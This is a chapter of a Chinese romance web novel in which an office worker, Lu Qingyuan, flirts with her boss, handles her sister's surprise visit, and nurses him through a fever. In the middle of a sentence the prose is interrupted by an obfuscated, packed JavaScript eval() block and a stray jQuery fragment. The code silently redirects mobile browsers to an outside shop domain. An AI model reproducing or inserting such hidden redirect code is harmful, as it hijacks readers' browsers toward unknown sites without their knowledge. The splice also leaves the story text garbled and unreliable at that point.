他喝了些酒,眼神中带着微醺的色气。
蚕丝睡袍松散,没能遮住鼓囊的胸膛。天台有风声,他带着她一起移动到安静的室内,镜头下移,照向紧实的腰腹。
陆清沅以为不小心点进了什么小广告,只觉得口干舌燥,但目光如炬,不想错过一点。
“有事?”
精彩画面转瞬即逝,出现在屏幕上的是更权威的一张脸。
约莫刚洗完澡,平日里总是梳成背头的发此刻撩在两侧,水滴顺着锋利的眉骨滑落,别样诱惑。凑着屏幕看才注意到他的瞳色偏冷,鼻梁挺直高耸,轮廓冷厉。
陆清沅忍不住截屏一万张,手上动作迅速,表情却依旧正经:
“只是觉得信息说新年快乐不太真诚。”
“所以特意视频说?”
“视频似乎也没真心多少。”
男人眉眼舒展,修长手指握着玻璃杯抿了口酒,微勾唇角示意她继续。
陆清沅靠着背枕,想着要说的话手心捏紧。
“所以想当面说,能让我做您新年第一个见的人吗?”
她掀开圆润的眸,脸颊泛红,微微抿着嘴唇,尽可能表现鼓起勇气的羞涩。
当彼此的时间都像丝线一样纠缠,关系的定义也会模糊。
“好啊。”
“好!那今天见…”
“那不如现在?”
“嗯?”
因为得到肯定答复后的欣喜止住,陆清沅疑惑地偏了偏头。
“现在?”
“地址发你了。”
电话挂断那一秒,陆清沅已经闪现到化妆台前,眼神落在手机里冒出的地址。
“SkySealTowerAFloor52.”
她轻轻读出,眉头微微锁住,粉扑已经哒哒拍上脸。
粉底拍匀之后,思绪也清晰了。
这莫名的熟悉感!换成英文而已差点让她认不出,这不就是她楼上吗!!
她埋下头,闷声骂了一句:“骚男人…”
稍稍化了个淡妆之后,时间已经过了十五分钟。她翻箱倒柜,从长裙跳到短裙,再换做不是很刻意的休闲短袖。
最后视线落在箱底一个未拆封的VictoriaSecret袋子。那是很早之前和闺蜜逛街时,嬉笑挑选的战衣。
胸杯坠着黑色蕾丝,中心悬着爱心状的吊坠。
她两只手指拎起这只可爱的文胸,潮红慢慢爬上脸颊。
站进电梯,不知是因为上行电梯的气压变换,还是新文胸太紧,陆清沅有些喘不过气。
她只是想在河边探足试试深浅,哪知道水底的男鬼直接抓住了她的脚踝。
没人能够救一个故意勾搭水底男鬼的人。
顶楼就他一间,出了电梯,就站到了门口。
陆清沅的手指距离门铃只有一步之遥。
即将按下时,脑海里闪过刚才男人紧绷的腹肌,陆清沅转身回到了电梯,也没按键,背朝着墙,像极了无能的丈夫。
手机铃声响起,她一个激灵,全身的鸡皮疙瘩都竖起了。
她头靠着电梯,没敢睁眼,摸索着手机接通电话。
不是预想中的低沉男声。
听筒里陆知渝声音洪亮,异常兴奋:“姐!睡了没!猜猜我在哪里!”
陆清沅现在正面临人生大事,没什么耐心哄孩子:“小鱼儿,凌晨两点,你说打工人该醒着吗?”
“哎呀!我在你家楼下!!”
“什么?”
“我们学校和港大有个联合项目,1月开始,但我提前溜过来找你玩!”
“你真的假的??”
陆清沅火速按了电梯,旖旎的心思落了幕:“什么时候的事,爸妈知道吗?”
“惊喜嘛,不过你不在家吗,怎么敲门没人。”
“天呐…你怎么进去的,去到门卫那边乖乖呆着,我马上就到。”
打车去屯门的那四十分钟,陆清沅一直保持着和陆知渝通话,思考着如果发生意外的对策。
比起刚才即将敲响门铃的慌张,换成长姐身份应对这种意外时,她很是从容,虽然心底已经急如火烧。
陆清沅直接给了司机十几张千元纸币,包了他的超速费。
把陆知渝拉上车后,她声音还在抖:“陆知渝,你长本事了,翘课回国,你知道你一个女孩子这么晚在那种偏僻的地方有多危险吗?”
“你要是出事了,我怎么办,我怎么跟爸妈交代。”
原本兴奋的人被她骂得眼里水雾弥漫,兴奋的声音嘟囔起来。
“可是,我真的想你。我们出去后这么久、你除了给我钱,也不理我。我怕你怪我,都是因为我,你才不能念摄影。”
她哽咽着,断断续续说从前。
一个贫困的家庭无法实现两个子女的梦想,她是姐姐,只能懂事。
陆清沅垂下眼眸,牵着她的手不再多言。
下车时,司机拿着纸笔对她连胜道谢。陆知渝有些震撼:“姐,我可能塞在廉航飞机舱里大脑缺氧了,他握着的是1000块?那么多张?你给的?”
“能活着到这里已经是命大了,再多嘴我就把你再塞回廉航机舱里去。”
陆知渝和她相差四岁,比起父母,更爱她这个姐姐,既能懂她的少女心事,又能无限给她支持。
到了家她已然忘记刚才车上长姐的教训,在房间里来回穿梭,80平的空间被她跑出800平的壮观。
她凑到熏香前大嗅一口,转过头问得正经:“姐,你干的是正经生意吗?”
“不是,明天你就会被我送去打电话。”
她拿着换洗衣服把人塞进浴室,坐在餐桌边,捏着太阳穴,有些头昏脑胀,总觉得忘记了什么重要的事。
再掏出手机,蔚蓝海岸头像边有两个未读语音。
完蛋。
她捂着眼,不敢点进去。
手指比大脑灵敏,率先做了决定,男人低醇的声音在客厅悠然响起。
“约了我却爽约的人,你是第一个。”
她捂住脑袋,有点崩溃,语音自动连播。
“如果有急事可以打给我,早点休息,明早见。”
啊。
“姐,你要洗澡吗?”
“姐?怎么脸那么红?”
陆知渝洗完澡站在门口,搓着头发,看到陆清沅抱着凌乱头发,满脸通红捂着心脏。
“你怎么了,心脏不舒服?”
她回答不了。
但,好像有什么不对劲。
-
次日清晨,6点35。
陆清沅早早起来,其实是压根没睡着。她蹑手蹑脚把化妆工具带出房间,通宵后肾上腺素驱散困意,此刻她清醒得可怕。
锅里煨着昨晚预约的鸡丝粥,她留了便签,准备上楼时又绕回来,打包了一碗粥和配菜。
又到了52楼。
这次却没给她在门口徘徊的机会,门是开的。
屋内没开灯,窗帘半掩,熙光微微探进,大概能让人看清布局。
极简的几何风,家装黑白交替,熏香不是他惯用的那款,气味清新,好似与她屋内相同。
她把早餐放下,轻声念叨了句。
“打搅了——宋总——”
“那个,我来看看你。”
声音越说越轻,台词越说越混乱,像是去探望什么孤寡老人。
等了许久没有回应,她赤着脚慢慢往里走,地板冰凉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17544272|204058||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,但她还是出了层薄汗。
绕过客厅,径直走到最里,房间的门也是开着。
她敲了敲门,试探地又喊了声:“那个宋总,您家门没关,我就进来了?”
漆黑的房间,听得见呼吸,却迟迟等不到回应。
她掏出手机,此刻时间已经是7点30,宋大总裁的观念里,睡到这个点再起来几乎与福布斯富豪榜无缘。
“您还好吗?”
“hello?宋先生?宋总”
她轻声呼喊,但里头的人死不回应。
“我进来看看哦。”
陆清沅小心翼翼走进房间,先看到黑色绸缎床品,心想果然全世界的霸总都用黑色。
没有光,室内几乎都是黑,唯一露出的白是裸露在外的胸膛和腹肌。他没盖被子,面色潮红,眉眼皱起似乎很痛苦。
男人手背覆在额头上,随着沉重的呼吸红艳的嘴唇微微张合,人鱼线随着呼吸频率波动着。
陆清沅默默背诵道德经,把清心寡欲四个字在心里来回倒写。她本着“老板死了公司没了钱也捞不到了”的想法慢慢靠近,手心慢慢贴近男人的脸颊。
“宋总,您还好吗?”
手心传来得温度烫得过分,连呼吸也是炙热的。男人缓缓睁开眼,眼角猩红,面色不悦,驱赶的声音低哑虚弱。
“出去。”
“您好像发烧了,我送您去医院吧。”
她收回手想去摸手机却被男人一把攥住,天旋地转之后,她不知怎的已经到了男人怀里。
面对面,喷洒在她脸上的呼吸好烫,近距离看他的睫毛好长。
现在还有闲心想这些的她也的确是好奇怪。
“不去医院,那有药箱吗?吃点药好吗?”
“不去,不吃,不要。”
他缓缓阖上眼,额头贴上她的,坚硬的胸膛和她紧紧相贴,心跳声混杂在一起,分不清是谁跳的更快。
明明他生着病,可是横梗在她腰间的力量却挣脱不开,压在身下的手被他紧紧攥住。
“乖了,我带了粥,喝点水吃点早餐我们吃个药好不好。”
她不再挣扎,抽出另外一只尚且自由的手摸摸他的脑袋。
顺平他鬓边的发,又柔声细语哄了几句,桎梏她的力量小了些,陆清沅心里软软的,像是驯服了最凶猛的野兽,突然有种自豪感。
对这个豪华的家她实在是不熟悉,忙手忙脚准备好一切再进房间,他似乎清醒不少,半坐在床上,衣服也已经拢好,正阖目休憩。
“先喝点热水吧。”她把托盘放在床头柜上,递过杯子:“温度我用手背试过,刚刚好。”
见他睁了眼,陆清沅按照说明书拨了两粒退烧药放在掌心送过去,柔着嗓音诱哄:“没找到您家的药箱,所以去我家拿了,先吃个退烧药再睡一觉,如果醒来还是发烧,我们就去医院好不好。”
宋闻舟抬眸凝视着把他当小孩哄的女孩,顺着她的旨意吞了药丸,居然又收到句夸赞。
她又端过来一个小瓷碗,里头似乎是粥。他没出声,等着她继续轻声哄他吃。
吃一勺她的微笑就深一分,笑弯圆润的眼,嘴里夸赞的话甜如蜜。
他有些无奈,三两口吃尽,把碗放到一侧:“只是发烧而已,却被你当作失智儿童。”
陆清沅收了碗,给他拉好被子,坐在床侧笑得肆意。
“偶尔见宋总您这个状态,还挺有趣。”
“换个称呼。”
“嗯?”
“工作之外的时间见面,总不会是上下级。”
他又恢复成游刃有余地状态,尚还发烫的掌心落在她的脸颊。他收回了主动权,拿到诱哄的专利。
“叫我名字。”